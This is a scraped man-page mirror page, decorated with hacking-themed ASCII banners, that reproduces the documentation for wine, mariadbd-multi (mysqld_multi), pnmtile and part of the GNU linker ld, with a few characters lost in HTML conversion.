For instructions on passing arguments to Windows programs, please see the PROGRAM/ARGUMENTS section of the man page.

DESCRIPTION

wine loads and runs the given program, which can be a DOS, Windows 3.x, Win32 or Win64 executable (on 64-bit systems).

For debugging wine, use winedbg instead.

For running CUI executables (Windows console programs), use wineconsole instead of wine. This will display the output in a separate window. Not using wineconsole for CUI programs will only provide very limited console support, and your program might not function properly.

When invoked with –help or –version as the only argument, wine will simply print a small help message or its version respectively and exit.

PROGRAM/ARGUMENTS

The program name may be specified in DOS format (C:\WINDOWS\SOL.EXE) or in Unix format (/msdos/windows/sol.exe). You may pass arguments to the program being executed by adding them to the end of the command line invoking wine (such as: wine notepad C:\TEMP\README.TXT). Note that you need to ‘\ escape special characters (and spaces) when invoking Wine via a shell, e.g.

wine C:\Program\ Files\MyPrg\test.exe

It can also be one of the Windows executables shipped with Wine, in which case specifying the full path is not mandatory, e.g. wine explorer or wine notepad.

ENVIRONMENT

wine makes the environment variables of the shell from which it is started accessible to the Windows/DOS processes started. So use the appropriate syntax for your shell to enter environment variables you need.

WINEPREFIX
If set, the contents of this variable is taken as the name of the directory where Wine stores its data (the default is $HOME/.wine). This directory is also used to identify the socket which is used to communicate with the wineserver. All wine processes using the same wineserver (i.e.: same user) share certain things like registry, shared memory, and config file. By setting WINEPREFIX to different values for different wine processes, it is possible to run a number of truly independent wine processes.

WINESERVER
Specifies the path and name of the wineserver binary. If not set, Wine will look for a file named “wineserver” in the path and in a few other likely locations.

WINELOADER
Specifies the path and name of the wine binary to use to launch new Windows processes. If not set, Wine will look for a file named “wine” in the path and in a few other likely locations.

WINEDEBUG
Turns debugging messages on or off. The syntax of the variable is of the form [class][+|-]channel[,[class2][+|-]channel2]

class is optional and can be one of the following: err, warn, fixme, or trace. If class is not specified, all debugging messages for the specified channel are turned on. Each channel will print messages about a particular component of Wine. The following character can be either + or - to switch the specified channel on or off respectively. If there is no class part before it, a leading + can be omitted. Note that spaces are not allowed anywhere in the string.

Examples:

WINEDEBUG=warn+all
will turn on all warning messages (recommended for debugging).

WINEDEBUG=warn+dll,+heap
will turn on DLL warning messages and all heap messages.

WINEDEBUG=fixme-all,warn+cursor,+relay
will turn off all FIXME messages, turn on cursor warning messages, and turn on all relay messages (API calls).

WINEDEBUG=relay
will turn on all relay messages. For more control on including or excluding functions and dlls from the relay trace, look into the HKEY_CURRENT_USER\Software\Wine\Debug registry key.

For more information on debugging messages, see the Running Wine chapter of the Wine User Guide.

WINEDLLPATH
Specifies the path(s) in which to search for builtin dlls and Winelib applications. This is a list of directories separated by “:”. In addition to any directory specified in WINEDLLPATH, Wine will also look in the installation directory.

WINEDLLOVERRIDES
Defines the override type and load order of dlls used in the loading process for any dll. There are currently two types of libraries that can be loaded into a process address space: native windows dlls (native) and Wine internal dlls (builtin). The type may be abbreviated with the first letter of the type (n or b). The library may also be disabled (’’). Each sequence of orders must be separated by commas.

Each dll may have its own specific load order. The load order determines which version of the dll is attempted to be loaded into the address space. If the first fails, then the next is tried and so on. Multiple libraries with the same load order can be separated with commas. It is also possible to use specify different loadorders for different libraries by separating the entries by “;”.

The load order for a 16-bit dll is always defined by the load order of the 32-bit dll that contains it (which can be identified by looking at the symbolic link of the 16-bit .dll.so file). For instance if ole32.dll is configured as builtin, storage.dll will be loaded as builtin too, since the 32-bit ole32.dll contains the 16-bit storage.dll.

Examples:

WINEDLLOVERRIDES=“comdlg32,shell32=n,b”

Try to load comdlg32 and shell32 as native windows dll first and try the builtin version if the native load fails.

WINEDLLOVERRIDES=“comdlg32,shell32=n;c:\foo\bar\baz=b”

Try to load the libraries comdlg32 and shell32 as native windows dlls. Furthermore, if an application request to load c: ooaraz.dll load the builtin library baz.

WINEDLLOVERRIDES=“comdlg32=b,n;shell32=b;comctl32=n;oleaut32=”

Try to load comdlg32 as builtin first and try the native version if the builtin load fails; load shell32 always as builtin and comctl32 always as native; oleaut32 will be disabled.

WINEPATH
Specifies additional path(s) to be prepended to the default Windows PATH environment variable. This is a list of Windows-style directories separated by “;”.

For a permanent alternative, edit (create if needed) the PATH value under the HKEY_CURRENT_USER\Environment registry key.

WINEARCH
Specifies the Windows architecture to support. It can be set either to win32 (support only 32-bit applications), or to win64 (support both 64-bit applications and 32-bit ones in WoW64 mode).
The architecture supported by a given Wine prefix is set at prefix creation time and cannot be changed afterwards. When running with an existing prefix, Wine will refuse to start if WINEARCH doesn’t match the prefix architecture.

WINE_D3D_CONFIG
Specifies Direct3D configuration options. It can be used instead of modifying the HKEY_CURRENT_USER\Software\Wine\Direct3D registry key. The value is a comma- or semicolon-separated list of key-value pairs. For example:

WINE_D3D_CONFIG=“renderer=vulkan;VideoPciVendorID=0xc0de”

If an individual setting is specified in both the environment variable and the registry, the former takes precedence.

DISPLAY
Specifies the X11 display to use.

OSS sound driver configuration variables:
AUDIODEV
Set the device for audio input / output. Default /dev/dsp.

MIXERDEV
Set the device for mixer controls. Default /dev/mixer.

MIDIDEV
Set the MIDI (sequencer) device. Default /dev/sequencer.

FILES

wine
The Wine program loader.

wineconsole
The Wine program loader for CUI (console) applications.

wineserver
The Wine server

winedbg
The Wine debugger

$WINEPREFIX/dosdevices
Directory containing the DOS device mappings. Each file in that directory is a symlink to the Unix device file implementing a given device. For instance, if COM1 is mapped to /dev/ttyS0 you’d have a symlink of the form $WINEPREFIX/dosdevices/com1 -> /dev/ttyS0.
DOS drives are also specified with symlinks; for instance if drive D: corresponds to the CDROM mounted at /mnt/cdrom, you’d have a symlink $WINEPREFIX/dosdevices/d: -> /mnt/cdrom. The Unix device corresponding to a DOS drive can be specified the same way, except with ‘::’ instead of ‘:’. So for the previous example, if the CDROM device is mounted from /dev/hdc, the corresponding symlink would be $WINEPREFIX/dosdevices/d:: -> /dev/hdc.

AUTHORS

Wine is available thanks to the work of many developers. For a listing of the authors, please see the file AUTHORS in the top-level directory of the source distribution.

COPYRIGHT

Wine can be distributed under the terms of the LGPL license. A copy of the license is in the file COPYING.LIB in the top-level directory of the source distribution.

BUGS

A status report on many applications is available from the

Wine Application Database

Please add entries to this list for applications you currently run, if necessary.

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

The most recent public version of wine is available through WineHQ, the

Wine development headquarters

SEE ALSO

wineserver(1), winedbg(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

426 - Linux cli command mariadbd-multi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadbd-multi and provides detailed information about the command mariadbd-multi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadbd-multi.

NAME 🖥️ mariadbd-multi 🖥️

multi - manage multiple MariaDB servers (mysqld_multi is now a symlink to mariadbd-multi)

SYNOPSIS

mysqld_multi [options] {start|stop|report} [GNR[,GNR] …]

DESCRIPTION

mysqld_multi is designed to manage several mysqld processes that listen for connections on different Unix socket files and TCP/IP ports. It can start or stop servers, or report their current status.

mysqld_multi searches for groups named [mysqldN] in my.cnf (or in the file named by the –config-file option). N can be any positive integer. This number is referred to in the following discussion as the option group number, or GNR. Group numbers distinguish option groups from one another and are used as arguments to mysqld_multi to specify which servers you want to start, stop, or obtain a status report for. Options listed in these groups are the same that you would use in the [mysqld] group used for starting mysqld. However, when using multiple servers, it is necessary that each one use its own value for options such as the Unix socket file and TCP/IP port number.

To invoke mysqld_multi, use the following syntax:

shell> mysqld_multi [options] {start|stop|report} [GNR[,GNR] …]

start, stop, and report indicate which operation to perform. You can perform the designated operation for a single server or multiple servers, depending on the GNR list that follows the option name. If there is no list, mysqld_multi performs the operation for all servers in the option file.

Each GNR value represents an option group number or range of group numbers. The value should be the number at the end of the group name in the option file. For example, the GNR for a group named [mysqld17] is 17. To specify a range of numbers, separate the first and last numbers by a dash. The GNR value 10-13 represents groups [mysqld10] through [mysqld13]. Multiple groups or group ranges can be specified on the command line, separated by commas. There must be no whitespace characters (spaces or tabs) in the GNR list; anything after a whitespace character is ignored.

This command starts a single server using option group [mysqld17]:

shell> mysqld_multi start 17

This command stops several servers, using option groups [mysqld8] and [mysqld10] through [mysqld13]:

shell> mysqld_multi stop 8,10-13

For an example of how you might set up an option file, use this command:

shell> mysqld_multi –example

mysqld_multi searches for option files as follows:

·

With –no-defaults, no option files are read.

·

With **–defaults-file=**file_name, only the named file is read.

·

Otherwise, option files in the standard list of locations are read, including any file named by the **–defaults-extra-file=**file_name option, if one is given. (If the option is given multiple times, the last value is used.)

Option files read are searched for [mysqld_multi] and [mysqldN] option groups. The [mysqld_multi] group can be used for options to mysqld_multi itself. [mysqldN] groups can be used for options passed to specific mysqld instances.

The [mysqld] or [mysqld_safe] groups can be used for common options read by all instances of mysqld or mysqld_safe. You can specify a **–defaults-file=**file_name option to use a different configuration file for that instance, in which case the [mysqld] or [mysqld_safe] groups from that file will be used for that instance.

mysqld_multi supports the following options.

·

–help

Display a help message and exit.

·

–example

Display a sample option file.

·

**–log=**file_name

Specify the name of the log file. If the file exists, log output is appended to it.

·

**–mysqladmin=**prog_name

The mysqladmin binary to be used to stop servers.

·

**–mysqld=**prog_name

The mysqld binary to be used. Note that you can specify mysqld_safe as the value for this option also. If you use mysqld_safe to start the server, you can include the mysqld or ledir options in the corresponding [mysqldN] option group. These options indicate the name of the server that mysqld_safe should start and the path name of the directory where the server is located. (See the descriptions for these options in mysqld_safe(1).) Example:

[mysqld38] mysqld = mysqld-debug ledir = /opt/local/mysql/libexec

·

–no-log

Print log information to stdout rather than to the log file. By default, output goes to the log file.

·

**–password=**password

The password of the MariaDB account to use when invoking mysqladmin. Note that the password value is not optional for this option, unlike for other MariaDB programs.

·

–silent

Silent mode; disable warnings.

·

–tcp-ip

Connect to the MariaDB server(s) via the TCP/IP port instead of the UNIX socket. This affects stopping and reporting. If a socket file is missing, the server may still be running, but can be accessed only via the TCP/IP port. By default connecting is done via the UNIX socket. This option affects stop and report operations.

·

**–user=**user_name

The user name of the MariaDB account to use when invoking mysqladmin.

·

–verbose

Be more verbose.

·

–version

Display version information and exit.

·

–wsrep-new-cluster

Bootstrap a cluster.

Some notes about mysqld_multi:

·

Most important: Before using mysqld_multi be sure that you understand the meanings of the options that are passed to the mysqld servers and why you would want to have separate mysqld processes. Beware of the dangers of using multiple mysqld servers with the same data directory. Use separate data directories, unless you know what you are doing. Starting multiple servers with the same data directory does not give you extra performance in a threaded system.

·

Important: Make sure that the data directory for each server is fully accessible to the Unix account that the specific mysqld process is started as. Do not use the Unix root account for this, unless you know what you are doing.

·

Make sure that the MariaDB account used for stopping the mysqld servers (with the mysqladmin program) has the same user name and password for each server. Also, make sure that the account has the SHUTDOWN privilege. If the servers that you want to manage have different user names or passwords for the administrative accounts, you might want to create an account on each server that has the same user name and password. For example, you might set up a common multi_admin account by executing the following commands for each server:

shell> mysql -u root -S /tmp/mysql.sock -p Enter password: mysql> GRANT SHUTDOWN ON . -> TO ‘multi_admin’@’localhost’ IDENTIFIED BY ‘multipass’;

Change the connection parameters appropriately when connecting to each one. Note that the host name part of the account name must allow you to connect as multi_admin from the host where you want to run mysqld_multi.

·

The Unix socket file and the TCP/IP port number must be different for every mysqld. (Alternatively, if the host has multiple network addresses, you can use –bind-address to cause different servers to listen to different interfaces.)

·

The –pid-file option is very important if you are using mysqld_safe to start mysqld (for example, –mysqld=mysqld_safe) Every mysqld should have its own process ID file. The advantage of using mysqld_safe instead of mysqld is that mysqld_safe monitors its mysqld process and restarts it if the process terminates due to a signal sent using kill -9 or for other reasons, such as a segmentation fault. Please note that the mysqld_safe script might require that you start it from a certain place. This means that you might have to change location to a certain directory before running mysqld_multi. If you have problems starting, please see the mysqld_safe script. Check especially the lines:


MY_PWD=`pwd`
# Check if we are starting this relative (for the binary release)
if test -d $MY_PWD/data/mysql -a \
   -f ./share/mariadb/english/errmsg.sys -a \
   -x ./bin/mariadbd
----------------------------------------------------------------

The test performed by these lines should be successful, or you might encounter problems. See mysqld_safe(1).

·

You might want to use the –user option for mysqld, but to do this you need to run the mysqld_multi script as the Unix root user. Having the option in the option file doesn’t matter; you just get a warning if you are not the superuser and the mysqld processes are started under your own Unix account.

The following example shows how you might set up an option file for use with mysqld_multi. The order in which the mysqld programs are started or stopped depends on the order in which they appear in the option file. Group numbers need not form an unbroken sequence. The first and fifth [mysqldN] groups were intentionally omitted from the example to illustrate that you can have “gaps” in the option file. This gives you more flexibility.

This file should probably be in your home dir (~/.my.cnf)

# or /etc/my.cnf
# Version 2.1 by Jani Tolonen
[mysqld_multi]
mysqld     = /usr/local/bin/mysqld_safe
mysqladmin = /usr/local/bin/mysqladmin
user       = multi_admin
password   = multipass
[mysqld2]
socket     = /tmp/mysql.sock2
port       = 3307
pid-file   = /usr/local/mysql/var2/hostname.pid2
datadir    = /usr/local/mysql/var2
language   = /usr/local/share/mariadb/english
user       = john
[mysqld3]
socket     = /tmp/mysql.sock3
port       = 3308
pid-file   = /usr/local/mysql/var3/hostname.pid3
datadir    = /usr/local/mysql/var3
language   = /usr/local/share/mariadb/swedish
user       = monty
[mysqld4]
socket     = /tmp/mysql.sock4
port       = 3309
pid-file   = /usr/local/mysql/var4/hostname.pid4
datadir    = /usr/local/mysql/var4
language   = /usr/local/share/mariadb/estonia
user       = tonu
[mysqld6]
socket     = /tmp/mysql.sock6
port       = 3311
pid-file   = /usr/local/mysql/var6/hostname.pid6
datadir    = /usr/local/mysql/var6
language   = /usr/local/share/mariadb/japanese
user       = jani

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

427 - Linux cli command pnmtile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtile and provides detailed information about the command pnmtile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtile.

.

NAME 🖥️ pnmtile 🖥️

replicate an image to fill a specified region

SYNOPSIS

pnmtile width height [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtile reads a PNM image as input. It replicates it to fill an area of the specified dimensions and produces an image in the same format as output.

You can do pretty much the reverse with pamdice.

You can explicitly concatenate an image to itself (or anything else) with pamcat.

If you’re trying to tile multiple images into a superimage, see pamundice or (for a thumbnail sheet) pnmindex.

OPTIONS

There are no command line options defined specifically for pnmtile, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamundice(1) , pamcat(1) , pamdice(1) , pnmindex(1) , pampop9(1) , pnm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtile.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

428 - Linux cli command x86_64-w64-mingw32-ld.bfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-ld.bfd and provides detailed information about the command x86_64-w64-mingw32-ld.bfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-ld.bfd.

NAME 🖥️ x86_64-w64-mingw32-ld.bfd 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

